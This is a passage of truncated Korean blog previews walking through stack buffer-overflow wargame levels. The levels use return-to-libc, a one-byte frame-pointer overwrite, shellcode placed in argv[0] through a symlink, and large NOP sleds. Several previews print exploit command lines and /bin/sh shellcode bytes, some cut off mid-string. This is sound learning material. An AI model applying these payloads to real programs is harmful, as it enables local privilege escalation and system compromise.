코드를 보니..... RTL?! 그럼 그냥 Levle 1 ~ 3 푸는 거랑 똑같이 하면 되겠네요 ㅇㅁㅇ... 설명 안하고 넘어가겠습니다. ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"ABCD"+"\xf9\xbf\x0f\x40"'` 클리어 ~
코드를 보면 단 1byte 만 오버플로우가 일어납니다. 단 1byte 가지고 저희는 ebp를 움직일수 있습니다. 이 ebp를 움직임으로써 esp가 leave 에 의해 움직이게 되고 esp가 움직이면 ret를 실행할때 esp+4의 주소로 가 실행시키므로 저희가 원하는 코드를 실행 시킬수 있는것 입니다. 즉 계획을 세워보면 dummu [4 byte] + shellcode 시작 주소 [4 byte] + shellcode [25 byte] + dummy [7 byte] + buffer시작 주소 마지막 자리[1 byte] 가 되겠습니다. shellcode 는 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb..
허허,,, 문제를 풀다가 잘못해서 이부분의 파일이 전부 날라가 버렸습니다... 그래서 풀이는 못적을거같고 하려던 풀이만 조금 적겠습니다. 기억으로는 stack을 ret부분을 제외하고 전부 초기화 시켰던 걸로 기억합니다. 그래서 라이브러리를 로딩할때 shellcode를 씌우면 어떠나 해서 LD_PRELOAD 라는 변수를 이용해서 하려고 했는데,,,,,, 파일이 날라가버렸습니다....
코드를 보니 buffer와 모든 argv를 날려버립니다,,, 지금까지 했던 모든 방법이 막혀서 어떻게 해야하나 패닉에 빠졌던... 일단 분석해 봅시다 cp skeleton noteleks 로 복사하고 분석 해봅시다... leave 에 bp 걸고 실행시킨 다음 스택을 봅시다.. 깔끔 하네요,,, ?!?!?!?!?!?!??!?!?!?!?!?!?!?!??!?!?!?!?!?!?!?!?!?!?!?!?!?!?!?!?!?!??!?!?!?!?!? 마지막에 프로그램 실행 이름이 남아있습니다. 그렇다면....? 심볼릭 링크로 shellcode 넣고 ret를 이부분으로 돌리면 쉘이 실행될거같습니다. 이상하게 전에 쓰던 shellcode가 먹히지를 않습니다. 0xbfffffd2 가 읽을수 없습니다 뭐시기 하면서,,,, 따라서..
코드를 보니 RET 부분의 들어갈 주소값이 0xbf000000 ~ 0xbffeeeee 가 되는것을 알 수 있습니다. 먼저 항상 하던대로 argv[2]의 주소를 보면 ./exp `python -c 'print "A"*47 + "\xbf" + " "+ "A"'` => 0xbffffc64 가 나오게 되는데 우리가 넣어야 할 주소값 사이의 값이 나오지 않습니다... 이거 때문에 고민을 오래했었는데 스택의 성질을 생각해보면 값이 쌓이면 쌓일수록 스택의 크기가 늘어납니다. 따라서 앞에 수많은 NOP을 넣어서 강제로 스택 크기를 넣는다면 되지 않을까 하고 생각했습니다. 그러니 한번 해보죠! argv[2] 앞에 NOP을 100000 정도 넣고 그 뒤에 shellcode 를 넣으니 0xbffe75ac 주소값이 이렇게 됩..
먼저 코드를 봅시다, argv[2] 금지, buffer, argv[1] 초기화 즉, buffer 과 argv 를 이용해서 shellcode를 올릴수 없다는 이야기입니다,,, 하지만 우리는 저번에 문제를 풀었던 심볼릭 링크를 이용해서 argv[0]에 shellcode 를 넣을수 있습니다. 저번처럼 맨 마지막에 printf ("%p\n", argv[0]); 을 추가해 줍니다. 그리고 심볼릭 링크를 걸어줍시다. ln -s exp `python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\..
소스코드를 보니 argv[0]을 체크하는 곳이.... argv[0]은 파일 이름이고 이를 어떻게 풀어야 하나 고민했는데 심볼릭 링크라는 것이 있었습니다! 이를 이용해서 풀어봅시다 저번처럼 코드를 하나 복사해주고 ln -s 를 이용해서 test에 심볼릭 링크를 B*75길이만큼 걸어줍시다. (왜 75길이만큼이냐면 실행할때 ./BBBBB --- BBBBB 가 되는데 ./ 까지 합하면 75 + 2 가 되서 77이 되 문제의 if문을 피해갈수 있습니다) 전에 방식처럼 argv[2]주소를 알아내고 실행시켜보면 test에서의 쉘이 뜹니다. 이를 바탕으로 orge를 공격해보면...! 클리어!
먼저 코드를 보면 달라진 부분이 argv[1]에 길이 제한이 생겼습니다. 전에 풀던대로 argv[2]를 사용해서 풀면 바로 풀리니 풀이는 생략....
코드를 먼저 보면, 전문제에서 추가된 부분이 buffer hunter 부분인데, buffer을 초기화 시켜버립니다. 그러면 buffer에 shellcode를 넣고 ret를 buffer주소로 돌려봤자 실행이 안된다는 이야기인데, 어짜피 저희는 argv[2]로 돌릴거니 상관 없습니다! 저번처럼 소스코드를 하나 복사해 주시고, 맨 밑에 printf("%p\n", argv[2]); 를 추가해 주고,./exp `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf" + " " + "\x90"*1000+"\xeb\x0d\x5b\x31\xc0\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\..